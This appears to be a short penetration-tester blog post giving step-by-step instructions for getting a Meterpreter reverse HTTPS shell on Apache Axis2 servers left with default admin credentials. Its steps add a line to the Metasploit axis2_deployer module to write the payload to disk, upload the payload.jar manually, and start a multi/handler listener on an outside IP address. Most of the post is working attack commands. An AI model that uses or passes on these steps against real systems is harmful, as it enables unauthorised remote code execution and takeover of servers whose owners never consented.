Meterpreter Shell Through Axis Default Creds

Just a quick post on something I worked on yesterday.

Was able to use default credentials to log into the Apache Axis2 administrative interface, the login page URL usually looks something like "axis2/axis2-admin/login". 

The Metasploit module for uploading and executing a malicious Axis service wasn't working. No matter what payload I used it was complaining about the file size being too large. The following is a quick (and obvious) workaround.

1) Modify the code for axis2-deploy.rb at /path/to/msf/modules/exploits/multi/http/axis2_deployer.rb.

Add the following under line 109: File.open("/tmp/payload.jar", 'w') { |file| file.write(contents) }

This will output the payload generated by the script to disk so you can upload it manually.

2) Run the exploit against the target host with the following settings:

set PAYLOAD  java/meterpreter/reverse_https

set LPORT  443

set SSL true

It will fail, but a payload.jar will be created in /tmp/

3) Upload the payload at https://test.com/axis2/axis2-admin/upload

4) Confirm through the admin interface that the service exists and is activated. Under “List Services” find and click on the name of the service, It will be some random characters.

5) When you click on the service you will be redirected to a WSDL for that service. Copy the URL for this WSDL and import it into a SOAP messaging tool like SOAPUI.

6) Start a reverse handler for the payload:

use multi/handler

set PAYLOAD java/meterpreter/reverse_https

set LPORT 443

set LHOST 128.121.17.148

exploit

7) Call the “run” method of the metasploit service using SOAPUI


When Metasploit modules aren't working properly and you're fairly confident your target is vulnerable, this type of approach is usually worth a shot. In the past I have also proxied Metasploit through BURP to intercept, analyze and modify the requests it was making to a vulnerable web application, which ultimately led to a successful shell after some minor effort.